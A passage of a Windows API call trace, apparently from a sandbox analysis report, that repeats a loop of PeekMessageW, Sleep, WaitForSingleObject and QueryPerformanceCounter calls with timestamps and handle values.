| out: lpMsg=0x2df914) returned 0 [0153.277] Sleep (dwMilliseconds=0x64) [0153.292] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.292] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787430762) returned 1 [0153.292] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787430918) returned 1 [0153.292] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.293] Sleep (dwMilliseconds=0x64) [0153.307] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.307] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787482072) returned 1 [0153.307] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787482218) returned 1 [0153.307] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.308] Sleep (dwMilliseconds=0x64) [0153.322] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.322] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787535282) returned 1 [0153.322] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787535420) returned 1 [0153.323] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.323] Sleep (dwMilliseconds=0x64) [0153.338] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.338] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787588807) returned 1 [0153.338] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787588941) returned 1 [0153.338] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.339] Sleep (dwMilliseconds=0x64) [0153.354] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.354] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787642804) returned 1 [0153.354] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787642977) returned 1 [0153.354] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.355] Sleep (dwMilliseconds=0x64) [0153.369] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787695852) returned 1 [0153.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787695980) returned 1 [0153.370] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.370] Sleep (dwMilliseconds=0x64) [0153.385] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787748711) returned 1 [0153.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787748839) returned 1 [0153.385] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.386] Sleep (dwMilliseconds=0x64) [0153.401] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787804089) returned 1 [0153.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787804243) returned 1 [0153.401] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.402] Sleep (dwMilliseconds=0x64) [0153.416] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.416] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787855406) returned 1 [0153.416] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787855543) returned 1 [0153.416] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.417] Sleep (dwMilliseconds=0x64) [0153.431] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.431] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787908890) returned 1 [0153.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787909072) returned 1 [0153.432] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.433] Sleep (dwMilliseconds=0x64) [0153.447] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.447] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787962132) returned 1 [0153.447] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787962310) returned 1 [0153.448] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.448] Sleep (dwMilliseconds=0x64) [0153.463] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.463] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788015559) returned 1 [0153.463] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788015702) returned 1 [0153.463] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.464] Sleep (dwMilliseconds=0x64) [0153.492] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788115832) returned 1 [0153.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788115997) returned 1 [0153.493] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.493] Sleep (dwMilliseconds=0x64) [0153.494] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788122076) returned 1 [0153.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788122217) returned 1 [0153.494] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.495] Sleep (dwMilliseconds=0x64) [0153.511] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788179796) returned 1 [0153.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788179933) returned 1 [0153.511] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.512] Sleep (dwMilliseconds=0x64) [0153.526] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.526] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788231669) returned 1 [0153.526] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788231805) returned 1 [0153.526] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.527] Sleep (dwMilliseconds=0x64) [0153.541] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.541] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788282335) returned 1 [0153.541] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788282465) returned 1 [0153.541] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.542] Sleep (dwMilliseconds=0x64) [0153.557] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.557] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788337789) returned 1 [0153.557] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788337910) returned 1 [0153.557] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.558] Sleep (dwMilliseconds=0x64) [0153.572] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788391019) returned 1 [0153.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788391147) returned 1 [0153.573] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.573] Sleep (dwMilliseconds=0x64) [0153.588] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788442535) returned 1 [0153.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788442705) returned 1 [0153.588] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.589] Sleep (dwMilliseconds=0x64) [0153.603] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.603] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788495315) returned 1 [0153.603] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788495527) returned 1 [0153.604] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.604] Sleep (dwMilliseconds=0x64) [0153.619] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788551676) returned 1 [0153.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788551844) returned 1 [0153.620] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.621] Sleep (dwMilliseconds=0x64) [0153.634] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788601721) returned 1 [0153.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788601879) returned 1 [0153.635] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.635] Sleep (dwMilliseconds=0x64) [0153.650] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.650] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788655832) returned 1 [0153.650] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788655982) returned 1 [0153.651] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.651] Sleep (dwMilliseconds=0x64) [0153.665] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.665] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788708663) returned 1 [0153.666] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788708807) returned 1 [0153.666] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.667] Sleep (dwMilliseconds=0x64) [0153.681] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.681] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788761903) returned 1 [0153.681] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788762058) returned 1 [0153.682] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.682] Sleep (dwMilliseconds=0x64) [0153.697] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.697] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788815252) returned 1 [0153.697] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788815397) returned 1 [0153.697] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.698] Sleep (dwMilliseconds=0x64) [0153.712] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.712] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788868886) returned 1 [0153.712] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788869031) returned 1 [0153.713] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.713] Sleep (dwMilliseconds=0x64) [0153.728] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.728] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788923804) returned 1 [0153.728] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788923949) returned 1 [0153.729] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.729] Sleep (dwMilliseconds=0x64) [0153.743] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=788975388) returned 1 [0153.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=788975570) returned 1 [0153.744] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.745] Sleep (dwMilliseconds=0x64) [0153.759] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.759] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789028423) returned 1 [0153.759] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789028604) returned 1 [0153.760] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.760] Sleep (dwMilliseconds=0x64) [0153.775] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.775] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789082482) returned 1 [0153.775] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789082642) returned 1 [0153.775] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.776] Sleep (dwMilliseconds=0x64) [0153.790] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.790] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789135145) returned 1 [0153.790] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789135314) returned 1 [0153.791] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.791] Sleep (dwMilliseconds=0x64) [0153.806] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.806] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789188990) returned 1 [0153.806] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789189143) returned 1 [0153.807] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.807] Sleep (dwMilliseconds=0x64) [0153.821] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789241767) returned 1 [0153.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789241921) returned 1 [0153.822] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.823] Sleep (dwMilliseconds=0x64) [0153.854] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.854] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789354128) returned 1 [0153.854] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789354321) returned 1 [0153.856] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.856] Sleep (dwMilliseconds=0x64) [0153.868] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.868] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789401828) returned 1 [0153.868] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789402001) returned 1 [0153.869] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.869] Sleep (dwMilliseconds=0x64) [0153.884] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.884] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789455246) returned 1 [0153.884] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789455466) returned 1 [0153.885] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.885] Sleep (dwMilliseconds=0x64) [0153.900] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.900] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789510823) returned 1 [0153.900] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789510995) returned 1 [0153.901] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.901] Sleep (dwMilliseconds=0x64) [0153.915] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.915] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789561857) returned 1 [0153.915] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789562028) returned 1 [0153.916] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.916] Sleep (dwMilliseconds=0x64) [0153.931] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.931] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789615151) returned 1 [0153.931] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789615330) returned 1 [0153.931] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.932] Sleep (dwMilliseconds=0x64) [0153.946] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.946] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789668144) returned 1 [0153.946] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789668290) returned 1 [0153.947] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.947] Sleep (dwMilliseconds=0x64) [0153.962] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.962] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789723334) returned 1 [0153.962] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789723468) returned 1 [0153.963] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.963] Sleep (dwMilliseconds=0x64) [0153.978] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.978] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789778488) returned 1 [0153.979] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789778627) returned 1 [0153.979] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.979] Sleep (dwMilliseconds=0x64) [0153.993] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.993] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789828454) returned 1 [0153.993] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789828583) returned 1 [0153.994] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.994] Sleep (dwMilliseconds=0x64) [0154.009] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789882269) returned 1 [0154.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789882397) returned 1 [0154.009] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.010] Sleep (dwMilliseconds=0x64) [0154.024] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.024] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789934726) returned 1 [0154.024] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789934854) returned 1 [0154.025] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.025] Sleep (dwMilliseconds=0x64) [0154.040] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.040] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=789988551) returned 1 [0154.040] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=789988679) returned 1 [0154.040] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.041] Sleep (dwMilliseconds=0x64) [0154.056] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.056] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790042144) returned 1 [0154.056] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790042273) returned 1 [0154.056] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.057] Sleep (dwMilliseconds=0x64) [0154.071] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.072] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790096425) returned 1 [0154.072] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790096559) returned 1 [0154.072] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 